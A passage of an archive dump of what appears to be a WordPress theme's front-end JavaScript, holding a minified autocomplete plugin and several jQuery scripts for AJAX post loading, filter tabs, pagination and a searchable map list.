u:return}clearTimeout(e.onChangeTimeout),e.currentValue!==e.el.val()&&(e.findBestHint(),e.options.deferRequestBy>0?e.onChangeTimeout=setTimeout(function(){e.onValueChange()},e.options.deferRequestBy):e.onValueChange())}},onValueChange:function(){if(this.ignoreValueChange)this.ignoreValueChange=!1;else{var e=this.options,s=this.el.val(),i=this.getQuery(s);this.selection&&this.currentValue!==i&&(this.selection=null,(e.onInvalidateSelection||t.noop).call(this.element)),clearTimeout(this.onChangeTimeout),this.currentValue=s,this.selectedIndex=-1,e.triggerSelectOnValidInput&&this.isExactMatch(i)?this.select(0):i.length<e.minChars?this.hide():this.getSuggestions(i)}},isExactMatch:function(t){var e=this.suggestions;return 1===e.length&&e[0].value.toLowerCase()===t.toLowerCase()},getQuery:function(e){var s,i=this.options.delimiter;return i?(s=e.split(i),t.trim(s[s.length-1])):e},getSuggestionsLocal:function(e){var s,i=this.options,n=e.toLowerCase(),o=i.lookupFilter,a=parseInt(i.lookupLimit,10);return s={suggestions:t.grep(i.lookup,function(t){return o(t,e,n)})},a&&s.suggestions.length>a&&(s.suggestions=s.suggestions.slice(0,a)),s},getSuggestions:function(e){var s,i,n,o,a=this,u=a.options,l=u.serviceUrl;u.params[u.paramName]=e,!1!==u.onSearchStart.call(a.element,u.params)&&(i=u.ignoreParams?null:u.params,t.isFunction(u.lookup)?u.lookup(e,function(t){a.suggestions=t.suggestions,a.suggest(),u.onSearchComplete.call(a.element,e,t.suggestions)}):(a.isLocal?s=a.getSuggestionsLocal(e):(t.isFunction(l)&&(l=l.call(a.element,e)),n=l+"?"+t.param(i||{}),s=a.cachedResponse[n]),s&&Array.isArray(s.suggestions)?(a.suggestions=s.suggestions,a.suggest(),u.onSearchComplete.call(a.element,e,s.suggestions)):a.isBadQuery(e)?u.onSearchComplete.call(a.element,e,[]):(a.abortAjax(),o={url:l,data:i,type:u.type,dataType:u.dataType},t.extend(o,u.ajaxSettings),a.currentRequest=t.ajax(o).done(function(t){var s;a.currentRequest=null,s=u.transformResult(t,e),a.processResponse(s,e,n),u.onSearchComplete.call(a.element,e,s.suggestions)}).fail(function(t,s,i){u.onSearchError.call(a.element,e,t,s,i)}))))},isBadQuery:function(t){if(!this.options.preventBadQueries)return!1;for(var e=this.badQueries,s=e.length;s--;)if(0===t.indexOf(e[s]))return!0;return!1},hide:function(){var e=t(this.suggestionsContainer);t.isFunction(this.options.onHide)&&this.visible&&this.options.onHide.call(this.element,e),this.visible=!1,this.selectedIndex=-1,clearTimeout(this.onChangeTimeout),t(this.suggestionsContainer).hide(),this.onHint(null)},suggest:function(){if(this.suggestions.length){var e,s=this.options,i=s.groupBy,n=s.formatResult,o=this.getQuery(this.currentValue),a=this.classes.suggestion,u=this.classes.selected,l=t(this.suggestionsContainer),r=t(this.noSuggestionsContainer),h=s.beforeRender,c="";s.triggerSelectOnValidInput&&this.isExactMatch(o)?this.select(0):(t.each(this.suggestions,function(t,u){i&&(c+=function(t,n){var o=t.data[i];return e===o?"":(e=o,s.formatGroup(t,e))}(u,0)),c+='<div class="'+a+'" data-index="'+t+'">'+n(u,o,t)+"</div>"}),this.adjustContainerWidth(),r.detach(),l.html(c),t.isFunction(h)&&h.call(this.element,l,this.suggestions),this.fixPosition(),l.show(),s.autoSelectFirst&&(this.selectedIndex=0,l.scrollTop(0),l.children("."+a).first().addClass(u)),this.visible=!0,this.findBestHint())}else this.options.showNoSuggestionNotice?this.noSuggestions():this.hide()},noSuggestions:function(){var e=this.options.beforeRender,s=t(this.suggestionsContainer),i=t(this.noSuggestionsContainer);this.adjustContainerWidth(),i.detach(),s.empty(),s.append(i),t.isFunction(e)&&e.call(this.element,s,this.suggestions),this.fixPosition(),s.show(),this.visible=!0},adjustContainerWidth:function(){var e,s=this.options,i=t(this.suggestionsContainer);"auto"===s.width?(e=this.el.outerWidth(),i.css("width",e>0?e:300)):"flex"===s.width&&i.css("width","")},findBestHint:function(){var e=this.el.val().toLowerCase(),s=null;e&&(t.each(this.suggestions,function(t,i){var n=0===i.value.toLowerCase().indexOf(e);return n&&(s=i),!n}),this.onHint(s))},onHint:function(e){var s=this.options.onHint,i="";e&&(i=this.currentValue+e.value.substr(this.currentValue.length)),this.hintValue!==i&&(this.hintValue=i,this.hint=e,t.isFunction(s)&&s.call(this.element,i))},verifySuggestionsFormat:function(e){return e.length&&"string"==typeof e[0]?t.map(e,function(t){return{value:t,data:null}}):e},validateOrientation:function(e,s){return e=t.trim(e||"").toLowerCase(),-1===t.inArray(e,["auto","bottom","top"])&&(e=s),e},processResponse:function(t,e,s){var i=this.options;t.suggestions=this.verifySuggestionsFormat(t.suggestions),i.noCache||(this.cachedResponse[s]=t,i.preventBadQueries&&!t.suggestions.length&&this.badQueries.push(e)),e===this.getQuery(this.currentValue)&&(this.suggestions=t.suggestions,this.suggest())},activate:function(e){var s,i=this.classes.selected,n=t(this.suggestionsContainer),o=n.find("."+this.classes.suggestion);return n.find("."+i).removeClass(i),this.selectedIndex=e,-1!==this.selectedIndex&&o.length>this.selectedIndex?(s=o.get(this.selectedIndex),t(s).addClass(i),s):null},selectHint:function(){var e=t.inArray(this.hint,this.suggestions);this.select(e)},select:function(t){this.hide(),this.onSelect(t)},moveUp:function(){if(-1!==this.selectedIndex)return 0===this.selectedIndex?(t(this.suggestionsContainer).children("."+this.classes.suggestion).first().removeClass(this.classes.selected),this.selectedIndex=-1,this.ignoreValueChange=!1,this.el.val(this.currentValue),void this.findBestHint()):void this.adjustScroll(this.selectedIndex-1)},moveDown:function(){this.selectedIndex!==this.suggestions.length-1&&this.adjustScroll(this.selectedIndex+1)},adjustScroll:function(e){var s=this.activate(e);if(s){var i,n,o,a=t(s).outerHeight();i=s.offsetTop,o=(n=t(this.suggestionsContainer).scrollTop())+this.options.maxHeight-a,i<n?t(this.suggestionsContainer).scrollTop(i):i>o&&t(this.suggestionsContainer).scrollTop(i-this.options.maxHeight+a),this.options.preserveInput||(this.ignoreValueChange=!0,this.el.val(this.getValue(this.suggestions[e].value))),this.onHint(null)}},onSelect:function(e){var s=this.options.onSelect,i=this.suggestions[e];this.currentValue=this.getValue(i.value),this.currentValue===this.el.val()||this.options.preserveInput||this.el.val(this.currentValue),this.onHint(null),this.suggestions=[],this.selection=i,t.isFunction(s)&&s.call(this.element,i)},getValue:function(t){var e,s,i=this.options.delimiter;return i?1===(s=(e=this.currentValue).split(i)).length?t:e.substr(0,e.length-s[s.length-1].length)+t:t},dispose:function(){this.el.off(".autocomplete").removeData("autocomplete"),t(window).off("resize.autocomplete",this.fixPositionCapture),t(this.suggestionsContainer).remove()}},t.fn.devbridgeAutocomplete=function(e,s){return arguments.length?this.each(function(){var i=t(this),n=i.data("autocomplete");"string"==typeof e?n&&"function"==typeof n[e]&&n[e](s):(n&&n.dispose&&n.dispose(),n=new r(this,e),i.data("autocomplete",n))}):this.first().data("autocomplete")},t.fn.autocomplete||(t.fn.autocomplete=t.fn.devbridgeAutocomplete)});
PK     N\Qˎ=  =    js/more-terms-bg.jsnu [        /* global penciBlock */
/* global penciBlocksArray */
jQuery( document ).ready( function( $ ) {
  var pagednum;
  jQuery( 'body' ).
      on( 'click', '.penci-bgajax-more-terms-click .penci-ajax-more-button',
          function( event ) {
            event.preventDefault();
            if ( !$( this ).hasClass( 'loading-posts' ) ) {
              var $this = $( this ),
                  settings = $this.data( 'settings' ),
                  layout = $this.data( 'layout' ),
                  mes = $this.data( 'mes' ),
                  pagednum = $( this ).attr( 'data-pagednum' );

              $this.addClass( 'loading-posts' );

              var data = {
                action: 'penci_bgmore_terms_ajax',
                settings: settings,
                layout: layout,
                pagednum: pagednum,
                nonce: penci_bgajax_more_terms.nonce,
              };

              $.ajax( {
                type: 'POST',
                dataType: 'html',
                url: penci_bgajax_more_terms.url,
                data: data,
                success: function( data ) {
                  if ( data ) {
                    var data_paded = parseInt( pagednum ) + 1,
                        $data = $( data ),
                        $wrap_content = $this.parent().
                                              parent().
                                              find( '.penci-biggrid-data' );

                    $this.attr( 'data-pagednum', data_paded );

                    if ( layout === 'style-2' ) {

                      $wrap_content.append( $data ).
                                    isotope( 'appended', $data ).
                                    imagesLoaded( function() {
                                      $wrap_content.isotope( 'layout' );
                                    } );

                    } else {

                      if ( layout === 'style-1' ) {
                        $wrap_content.append( $data );
                      } else {
                        $wrap_content.parent().append( $data );
                      }

                    }

                    if ( $().theiaStickySidebar ) {
                      var top_margin = 90;
                      if ( $( 'body' ).hasClass( 'admin-bar' ) ) {
                        top_margin = 122;
                      }
                      $( '#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar' ).
                          theiaStickySidebar( {
                            // settings
                            additionalMarginTop: top_margin,
                          } );
                    } // if sticky

                    $this.removeClass( 'loading-posts' );
                    $( document ).trigger( 'penci_bf_check' );

                  } else {
                    $this.find( '.ajax-more-text' ).text( mes );
                    $this.find( 'i' ).remove();
                    $this.removeClass( 'loading-posts' );
                    setTimeout( function() {
                      $this.parent().remove();
                    }, 1200 );
                  }
                },
                error: function( jqXHR, textStatus, errorThrown ) {
                  console.log(
                      jqXHR + ' :: ' + textStatus + ' :: ' + errorThrown );
                },

              } );
            }
          } );
} );
PK     N\cB	 N   N    js/ajax-filter-latest.jsnu [        /* global penciBlock */
/* global penciBlocksArray */
jQuery(document).ready(function ($) {
    var nav = [];
    $('.penci-latest-posts-sc').each(function () {
        var elID = $(this).attr('id');
        if ($(this).find('.pcflx-nav').length > 0) {
            var maxnum = $(this).find('.pcflx li.all a').attr('data-maxp');
            if (parseInt(maxnum) <= 1) {
                $(this).find('.pcflx-nav .pcaj-nav-link').addClass('disable');
            }
        }
        if($(this).find('.penci-ajax-more').length) {
            nav[elID] = $(this).find('.penci-ajax-more').prop('outerHTML');
        }
    });
    jQuery('body').on('click', '.penci-latest-posts-sc .pc-ajaxfil-link', function (event) {
        event.preventDefault();
        if (!$(this).hasClass('loading-posts')) {
            var $this = $(this),
                $navthis = $this,
                parentID = $(this).closest('.penci-latest-posts-sc').attr('id'),
                parentclass = $(this).closest('.pcnav-lgroup'),
                wrapper = $(this).closest('.penci-latest-posts-sc').find('.penci-wrapper-posts-ajax'),
                wrapId = $this.data('id'),
                layout = parentclass.data('layout'),
                ppp = parentclass.data('number'),
                offset = parentclass.attr('data-offset'),
                exclude = parentclass.data('exclude'),
                from = parentclass.data('from'),
                comeFrom = parentclass.data('come_from'),
                mixed = parentclass.data('mixed'),
                query = parentclass.data('query'),
                infeedads = parentclass.data('infeedads'),
                number = parentclass.data('number'),
                query_type = parentclass.data('query_type'),
                archivetype = parentclass.data('archivetype'),
                archivevalue = parentclass.data('archivevalue'),
                tag = $this.data('tag'),
                cat = $this.data('cat'),
                author = $this.data('author'),
                template = parentclass.data('template'),
                navlink = false,
                prev,
                pagednum = parseInt($this.attr('data-paged')),
                curpaged = pagednum,
                cols = wrapper.find('.pwid-default > ul').attr('data-cols'),
                tcols = wrapper.find('.pwid-default > ul').attr('data-tcols'),
                mcols = wrapper.find('.pwid-default > ul').attr('data-mcols'),
                $wrap_content_id = wrapper.find('.pwid-' + wrapId);


            wrapper.addClass('loading-posts pcftaj-ld');
            $this.addClass('loading-posts');

            if ($this.hasClass('pcaj-nav-link')) {
                navlink = true;
            }

            if (navlink && $this.hasClass('prev')) {
                prev = true;
            }

            if (navlink) {
                $this = parentclass.find('.current-item');
                wrapId = $this.data('id');
                cat = $this.data('cat');
                tag = $this.data('tag');
                curpaged = parseInt($this.attr('data-paged'));

                if (prev) {
                    pagednum = curpaged - 1;
                } else {
                    pagednum = curpaged + 1;
                }
            }

            if (!navlink) {
                parentclass.find('.pc-ajaxfil-link').removeClass('current-item');
                $this.addClass('current-item');
            }

            if (wrapId === 'default' && !navlink) {
                wrapper.find('.penci-wrapper-posts-content').hide();
                wrapper.find('.pwid-default').show();
                wrapper.removeClass('loading-posts pcftaj-ld');
                $this.removeClass('loading-posts');
                $navthis.removeClass('loading-posts');

                var maxp = $(this).attr('data-maxp');

                if (curpaged <= 1) {
                    parentclass.find('.pc-ajaxfil-link.prev').addClass('disable');
                } else {
                    parentclass.find('.pc-ajaxfil-link.prev').removeClass('disable');
                }

                if ($wrap_content_id.find('.pc-nomorepost').length || maxp <= 1) {
                    parentclass.find('.pc-ajaxfil-link.next').addClass('disable');
                } else {
                    parentclass.find('.pc-ajaxfil-link.next').removeClass('disable');
                }

                var o = 0;
                $wrap_content_id.find('.list-post,.grid-style,.grid-masonry').each(function () {
                    o++;
                    $(this).addClass('penci-ajrs-animate').attr('style', 'animation-delay:' + o / 10 + 's')
                });
            } else if ($wrap_content_id.length && !navlink) {
                wrapper.find('.penci-wrapper-posts-content').hide();
                $wrap_content_id.show();
                wrapper.removeClass('loading-posts pcftaj-ld');
                $this.removeClass('loading-posts');
                $navthis.removeClass('loading-posts');

                if (curpaged <= 1) {
                    parentclass.find('.pc-ajaxfil-link.prev').addClass('disable');
                } else {
                    parentclass.find('.pc-ajaxfil-link.prev').removeClass('disable');
                }

                if ($wrap_content_id.find('.pc-nomorepost').length) {
                    parentclass.find('.pc-ajaxfil-link.next').addClass('disable');
                } else {
                    parentclass.find('.pc-ajaxfil-link.next').removeClass('disable');
                }

                var o = 0;
                $wrap_content_id.find('.list-post,.grid-style,.grid-masonry').each(function () {
                    o++;
                    $(this).addClass('penci-ajrs-animate').attr('style', 'animation-delay:' + o / 10 + 's')
                });
            } else {

                var OBjBlockData = penciGetOBjBlockData(parentclass.data('blockid')),
                    dataFilter = OBjBlockData.atts_json ? JSON.parse(OBjBlockData.atts_json) : OBjBlockData.atts_json;

                var data = {
                    action: 'penci_more_post_ajax',
                    query: query,
                    offset: offset,
                    mixed: mixed,
                    layout: layout,
                    exclude: exclude,
                    from: from,
                    comefrom: comeFrom,
                    datafilter: dataFilter,
                    template: template,
                    ppp: ppp,
                    number: number,
                    infeedads: infeedads,
                    query_type: query_type,
                    archivetype: archivetype,
                    archivevalue: archivevalue,
                    tag: tag,
                    cat: cat,
                    author: author,
                    pagednum: pagednum,
                    qtype: 'ajaxtab',
                    nonce: pclatest_ajax.nonce,
                };


                $.ajax({
                    type: "POST",
                    dataType: "html",
                    url: ajax_var_more.url,
                    data: data,
                    success: function (data) {

                        var data_offset = parseInt(offset) + ppp,
                            data_paded = curpaged,
                            $wrap_content,
                            $check_class = false,
                            $check_masonry = false;

                        if (wrapper.find('.penci-wrapper-posts-content .penci-wrapper-data').hasClass('penci-grid')) {
                            $check_class = true;
                        }

                        if (wrapper.find('.penci-wrapper-posts-content .penci-wrapper-data').hasClass('masonry')) {
                            $check_masonry = true;
                        }

                        if (navlink) {
                            wrapper.find('.pwid-' + wrapId).remove();
                            data_paded = curpaged + 1;
                        }

                        if (prev) {
                            data_paded = curpaged - 1;
                        }

                        if ($check_class) {
                            wrapper.append('<div class="penci-wrapper-posts-content pwcustom pwid-' + wrapId + '"><ul data-cols="'+cols+'" data-tcols="'+tcols+'" data-mcols="'+mcols+'" class="penci-wrapper-data penci-grid penci-shortcode-render"></ul></div>');
                        } else if ($check_masonry) {
                            wrapper.append('<div class="penci-wrapper-posts-content pwcustom pwid-' + wrapId + '"><div class="penci-wrap-masonry"><div data-cols="'+cols+'" data-tcols="'+tcols+'" data-mcols="'+mcols+'" class="penci-wrapper-data masonry penci-masonry"></div></div></div>');
                        } else {
                            wrapper.append('<div class="penci-wrapper-posts-content pwcustom pwid-' + wrapId + '"><div class="penci-wrapper-data"></div></div>');
                        }

                        $wrap_content = wrapper.find('.pwid-' + wrapId + ' .penci-wrapper-data');

                        if (data) {
                            $this.attr('data-paged', data_paded);
                            $this.attr('data-offset', data_offset);

                            if (data_paded <= 1) {
                                parentclass.find('.pc-ajaxfil-link.prev').addClass('disable');
                            } else {
                                parentclass.find('.pc-ajaxfil-link.prev').removeClass('disable');
                            }

                            if (layout === 'masonry' || layout === 'masonry-2') {
                                var $data = $(data);
                                $wrap_content.append($data).imagesLoaded(function () {
                                    $wrap_content.isotope({
                                        itemSelector: '.item-masonry',
                                        transitionDuration: '.55s',
                                        layoutMode: 'masonry'
                                    });
                                });

                                $(".container").fitVids();

                                $('body').trigger( 'penci_swiper_sliders' );

                                if ($().easyPieChart) {
                                    $('.penci-piechart').each(function () {
                                        var $this = $(this);
                                        $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                            var chart_args = {
                                                barColor: $this.data('color'),
                                                trackColor: $this.data('trackcolor'),
                                                scaleColor: false,
                                                lineWidth: $this.data('thickness'),
                                                size: $this.data('size'),
                                                animate: 1000
                                            };
                                            $this.easyPieChart(chart_args);
                                        }); // bind inview
                                    }); // each
                                }

                            } else {
                                var $data = $(data);
                                $wrap_content.append($data);

                                $(".container").fitVids();

                                $('body').trigger( 'penci_swiper_sliders' );

                                if ($().easyPieChart) {
                                    $('.penci-piechart').each(function () {
                                        var $this = $(this);
                                        $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                            var chart_args = {
                                                barColor: $this.data('color'),
                                                trackColor: $this.data('trackcolor'),
                                                scaleColor: false,
                                                lineWidth: $this.data('thickness'),
                                                size: $this.data('size'),
                                                animate: 1000
                                            };
                                            $this.easyPieChart(chart_args);
                                        }); // bind inview
                                    }); // each
                                }

                                var $justified_gallery = $('.penci-post-gallery-container.justified');
                                var $masonry_gallery = $('.penci-post-gallery-container.masonry');
                                if ($().justifiedGallery && $justified_gallery.length) {
                                    $('.penci-post-gallery-container.justified').each(function () {
                                        var $this = $(this);
                                        $this.justifiedGallery({
                                            rowHeight: $this.data('height'),
                                            lastRow: 'nojustify',
                                            margins: $this.data('margin'),
                                            randomize: false
                                        });
                                    }); // each .penci-post-gallery-container
                                }

                                if ($().isotope && $masonry_gallery.length) {

                                    $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                        var $this = $(this);
                                        if ($this.attr('title')) {
                                            var $title = $this.attr('title');
                                            $this.children().append('<div class="caption">' + $title + '</div>');
                                        }
                                    });
                                }

                                if ($masonry_gallery.length) {
                                    $masonry_gallery.each(function () {
                                        var $this = $(this);
                                        $this.imagesLoaded(function () {
                                            // initialize isotope
                                            $this.isotope({
                                                itemSelector: '.item-gallery-masonry',
                                                transitionDuration: '.55s',
                                                layoutMode: 'masonry'
                                            });

                                            $this.addClass('loaded');

                                            $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                                var $this = $(this);
                                                $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                                    $this.addClass('animated');
                                                }); // inview
                                            }); // each
                                        });
                                    });
                                }

                                if ($().theiaStickySidebar) {
                                    var top_margin = 90;
                                    if ($('body').hasClass('admin-bar')) {
                                        top_margin = 122;
                                    }
                                    $('#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar').theiaStickySidebar({
                                        // settings
                                        additionalMarginTop: top_margin
                                    });
                                } // if sticky
                            }

                            if ($('.pwid-' + wrapId ).find('.pc-nomorepost').length) {
                                parentclass.find('.pc-ajaxfil-link.next').addClass('disable');
                            } else {
                                parentclass.find('.pc-ajaxfil-link.next').removeClass('disable');
                            }

                            if (nav[parentID] !== undefined) {
                                wrapper.find('.pwid-' + wrapId).append($(nav[parentID]));

                                wrapper.find('.pwid-' + wrapId + ' .penci-ajax-more .penci-ajax-more-button')
                                    .removeAttr('data-cat')
                                    .removeAttr('data-tag')
                                    .removeAttr('data-author');

                                if (cat) {
                                    wrapper.find('.pwid-' + wrapId + ' .penci-ajax-more .penci-ajax-more-button').attr('data-cat', cat);
                                }
                                if (tag) {
                                    wrapper.find('.pwid-' + wrapId + ' .penci-ajax-more .penci-ajax-more-button').attr('data-tag', tag);
                                }
                                if (author) {
                                    wrapper.find('.pwid-' + wrapId + ' .penci-ajax-more .penci-ajax-more-button').attr('data-author', author);
                                }
                                wrapper.find('.pwid-' + wrapId + ' .penci-ajax-more .penci-ajax-more-button').attr('data-offset', number);
                            }

                            wrapper.find('.penci-wrapper-posts-content').hide();
                            wrapper.find('.pwid-' + wrapId).show();
                            wrapper.removeClass('loading-posts pcftaj-ld');
                            $this.removeClass('loading-posts');
                            $navthis.removeClass('loading-posts');
                            var o = 0;
                            wrapper.find('.pwid-' + wrapId + ' .list-post, .pwid-' + wrapId + ' .grid-style, .pwid-' + wrapId + ' .grid-masonry').each(function () {
                                o++;
                                $(this).addClass('penci-ajrs-animate').attr('style', 'animation-delay:' + o / 10 + 's')
                            });
                            $(document).trigger('pcajax_loaded');
                            $(document).trigger('penci_bf_check');
                        } else {
                            wrapper.find('.penci-wrapper-posts-content').hide();
                            wrapper.find('.pwid-' + wrapId).show();
                            wrapper.find('.pwid-' + wrapId).append('<div class="pcajx-nopost"><span>No post found !</span></div>');
                            wrapper.removeClass('loading-posts pcftaj-ld');
                            $this.removeClass('loading-posts');
                            $navthis.removeClass('loading-posts');
                        }
                    },
                    error: function (jqXHR, textStatus, errorThrown) {
                        console.log(jqXHR + " :: " + textStatus + " :: " + errorThrown);
                    }

                });
            }
        }
    });

    function penciGetOBjBlockData($blockID) {
        var $obj = new penciBlock();

        jQuery.each(penciBlocksArray, function (index, block) {

            if (block.blockID === $blockID) {
                $obj = penciBlocksArray[index];
            }
        });

        return $obj;
    }
});
PK     N\7X      js/advance-gmaps.jsnu [        (function ($, elementor) {
	"use strict";

	var widgetAvdGoogleMap = function ($scope, $) {
		var $advancedGoogleMap = $scope.find(".penci-advanced-map"),
			map_lists = $scope.find(
				"ul.penci-gmap-lists div.penci-gmap-list-item"
			),
			map_search_form = $scope.find(".penci-search"),
			map_search_text_box = $scope.find(".penci-search-input"),
			map_form = $scope.find(".penci-gmap-search-wrapper > form");

		if (!$advancedGoogleMap.length) {
			return;
		}

		$(map_lists).bind("click", function (e) {
			e.preventDefault();
			var $t = $(this),
				$index = $t.attr('data-index');
			

				$advancedGoogleMap.find('.penci_admap_item').removeClass('active')
				$advancedGoogleMap.find('.' + $index ).addClass('active')


		});

		$(map_search_form).submit(function (e) {
			e.preventDefault();
			let searchValue = $(map_search_text_box).val().toLowerCase();
			$(map_lists).filter(function () {
				$(this).toggle(
					$(this).text().toLowerCase().indexOf(searchValue) > -1
				);
			});
		});

		$(map_search_text_box).keyup(function () {
			let searchValue = $(this).val().toLowerCase();
			$(map_lists).filter(function () {
				$(this).toggle(
					$(this).text().toLowerCase().indexOf(searchValue) > -1
				);
			});
		});
	};

	jQuery(window).on("elementor/frontend/init", function () {
		elementorFrontend.hooks.addAction(
			"frontend/element_ready/penci-advanced-gmap.default",
			widgetAvdGoogleMap
		);
	});

})(jQuery, window.elementorFrontend);
PK     N\r+!C9  C9    js/ajax-filter-slist.jsnu [        jQuery(document).ready(function ($) {
    function penciGetsListData() {
        var nav = [];
        $('.elementor-widget-penci-small-list').each(function () {
            var elID = $(this).data('id');
            if ($(this).find('.pcflx-nav').length > 0) {
                var maxnum = $(this).find('.pcflx li.all a').attr('data-maxp');
                if (parseInt(maxnum) <= 1) {
                    $(this).find('.pcflx-nav .pcaj-nav-link').addClass('disable');
                }
            }
            if($(this).find('.penci-ajax-more').length) {
                nav[elID] = $(this).find('.penci-ajax-more').prop('outerHTML');
            }
        });

        jQuery('body').on('click', '.penci-wrapper-smalllist .pc-ajaxfil-link', function (event) {
            event.preventDefault();
            if (!$(this).hasClass('loading-posts')) {
                var $this = $(this),
                    parentID = $(this).closest('.elementor-widget-penci-small-list').data('id'),
                    $navthis = $this,
                    wrapId = $this.data('id') ? $this.data('id') : 'default',
                    parentclass = $(this).closest('.pcnav-lgroup'),
                    wrapper = $(this).closest('.penci-wrapper-smalllist').find('.penci-smalllist-wrapper'),
                    tag = $this.data('tag'),
                    cat = $this.data('cat'),
                    author = $this.data('author'),
                    navlink = false,
                    prev,
                    pagednum = parseInt($this.attr('data-paged')),
                    curpaged = pagednum,
                    $wrap_content_id = wrapper.find('.pwsl-id-' + wrapId);

                var OBjBlockData = penciGetOBjBlockData(parentclass.data('blockid')),
                    dataFilter = OBjBlockData.atts_json ? JSON.parse(OBjBlockData.atts_json) : OBjBlockData.atts_json;

                wrapper.addClass('loading-posts pcftaj-ld');
                $this.addClass('loading-posts');

                if ($this.hasClass('pcaj-nav-link')) {
                    navlink = true;
                }

                if (navlink && $this.hasClass('prev')) {
                    prev = true;
                }

                if (navlink) {
                    $this = parentclass.find('.current-item');
                    wrapId = $this.data('id');
                    cat = $this.data('cat');
                    tag = $this.data('tag');
                    curpaged = parseInt($this.attr('data-paged'));

                    if (prev) {
                        pagednum = curpaged - 1;
                    } else {
                        pagednum = curpaged + 1;
                    }
                }

                if (!navlink) {
                    parentclass.find('.pc-ajaxfil-link').removeClass('current-item');
                    $this.addClass('current-item');
                }

                if ($wrap_content_id.length && !navlink) {
                    wrapper.find('.pcsl-wrapper').hide();
                    wrapper.find('.pwsl-id-' + wrapId).show();
                    wrapper.removeClass('loading-posts pcftaj-ld');
                    $this.removeClass('loading-posts');
                    $navthis.removeClass('loading-posts');
                    $('body').trigger( 'penci_swiper_sliders' );

                    var maxp = undefined;
                    if (wrapId == 'default') {
                        maxp = $(this).attr('data-maxp');
                    }

                    if (curpaged <= 1) {
                        parentclass.find('.pc-ajaxfil-link.prev').addClass('disable');
                    } else {
                        parentclass.find('.pc-ajaxfil-link.prev').removeClass('disable');
                    }

                    if ($wrap_content_id.hasClass('pc-nomorepost') || parseInt(maxp) <= 1) {
                        parentclass.find('.pc-ajaxfil-link.next').addClass('disable');
                    } else {
                        parentclass.find('.pc-ajaxfil-link.next').removeClass('disable');
                    }

                    var o = 0;
                    $wrap_content_id.find('.pcsl-item').each(function () {
                        if ( $(this).hasClass('swiper-slide') ) {
                            return;
                        }
                        o++;
                        $(this).addClass('penci-ajrs-animate').attr('style', 'animation-delay:' + o / 10 + 's')
                    });

                } else {

                    var data = {
                        action: 'penci_more_slist_post_ajax',
                        datafilter: dataFilter,
                        id: wrapId,
                        tag: tag,
                        cat: cat,
                        author: author,
                        pagednum: pagednum,
                        nonce: pcslist_ajax.nonce,
                    };

                    $.ajax({
                        type: "POST",
                        dataType: "html",
                        url: ajax_var_more.url,
                        data: data,
                        success: function (data) {
                            if (data) {

                                var data_paded = curpaged;

                                if (navlink) {
                                    wrapper.find('.pwsl-id-' + wrapId).remove();
                                    data_paded = curpaged + 1;
                                }

                                if (prev) {
                                    data_paded = curpaged - 1;
                                }

                                if (data_paded <= 1) {
                                    parentclass.find('.pc-ajaxfil-link.prev').addClass('disable');
                                } else {
                                    parentclass.find('.pc-ajaxfil-link.prev').removeClass('disable');
                                }


                                $this.attr('data-paged', data_paded);

                                wrapper.append(data);

                                if ($('.pwsl-id-' + wrapId).hasClass('pc-nomorepost')) {
                                    parentclass.find('.pc-ajaxfil-link.next').addClass('disable');
                                } else {
                                    parentclass.find('.pc-ajaxfil-link.next').removeClass('disable');
                                }

                                $(".penci-wrapper-smalllist").fitVids();


                                if ($().easyPieChart) {
                                    $('.penci-piechart').each(function () {
                                        var $this = $(this);
                                        $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                            var chart_args = {
                                                barColor: $this.data('color'),
                                                trackColor: $this.data('trackcolor'),
                                                scaleColor: false,
                                                lineWidth: $this.data('thickness'),
                                                size: $this.data('size'),
                                                animate: 1000
                                            };
                                            $this.easyPieChart(chart_args);
                                        }); // bind inview
                                    }); // each
                                }

                                var $justified_gallery = $('.penci-post-gallery-container.justified');
                                var $masonry_gallery = $('.penci-post-gallery-container.masonry');
                                if ($().justifiedGallery && $justified_gallery.length) {
                                    $('.penci-post-gallery-container.justified').each(function () {
                                        var $this = $(this);
                                        $this.justifiedGallery({
                                            rowHeight: $this.data('height'),
                                            lastRow: 'nojustify',
                                            margins: $this.data('margin'),
                                            randomize: false
                                        });
                                    }); // each .penci-post-gallery-container
                                }

                                if ($().isotope && $masonry_gallery.length) {

                                    $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                        var $this = $(this);
                                        if ($this.attr('title')) {
                                            var $title = $this.attr('title');
                                            $this.children().append('<div class="caption">' + $title + '</div>');
                                        }
                                    });
                                }

                                if ($masonry_gallery.length) {
                                    $masonry_gallery.each(function () {
                                        var $this = $(this);
                                        $this.imagesLoaded(function () {
                                            // initialize isotope
                                            $this.isotope({
                                                itemSelector: '.item-gallery-masonry',
                                                transitionDuration: '.55s',
                                                layoutMode: 'masonry'
                                            });

                                            $this.addClass('loaded');

                                            $('.penci-post-gallery-container.masonry .item-gallery-masonry').each(function () {
                                                var $this = $(this);
                                                $this.one('inview', function (event, isInView, visiblePartX, visiblePartY) {
                                                    $this.addClass('animated');
                                                }); // inview
                                            }); // each
                                        });
                                    });
                                }

                                if ($().theiaStickySidebar) {
                                    var top_margin = 90;
                                    if ($('body').hasClass('admin-bar')) {
                                        top_margin = 122;
                                    }
                                    $('#main.penci-main-sticky-sidebar, #sidebar.penci-sticky-sidebar').theiaStickySidebar({
                                        // settings
                                        additionalMarginTop: top_margin
                                    });
                                } // if sticky

                                if (nav[parentID] !== undefined) {
                                    wrapper.find('.pwsl-id-' + wrapId).append($(nav[parentID]));
                                    wrapper.find('.pwsl-id-' + wrapId + ' .penci-ajax-more .penci-ajax-more-button')
                                        .removeAttr('data-cat')
                                        .removeAttr('data-tag')
                                        .removeAttr('data-author');
                                    if (cat) {
                                        wrapper.find('.pwsl-id-' + wrapId + ' .penci-ajax-more .penci-ajax-more-button').attr('data-cat', cat);
                                    }
                                    if (tag) {
                                        wrapper.find('.pwsl-id-' + wrapId + ' .penci-ajax-more .penci-ajax-more-button').attr('data-tag', tag);
                                    }
                                    if (author) {
                                        wrapper.find('.pwsl-id-' + wrapId + ' .penci-ajax-more .penci-ajax-more-button').attr('data-author', author);
                                    }
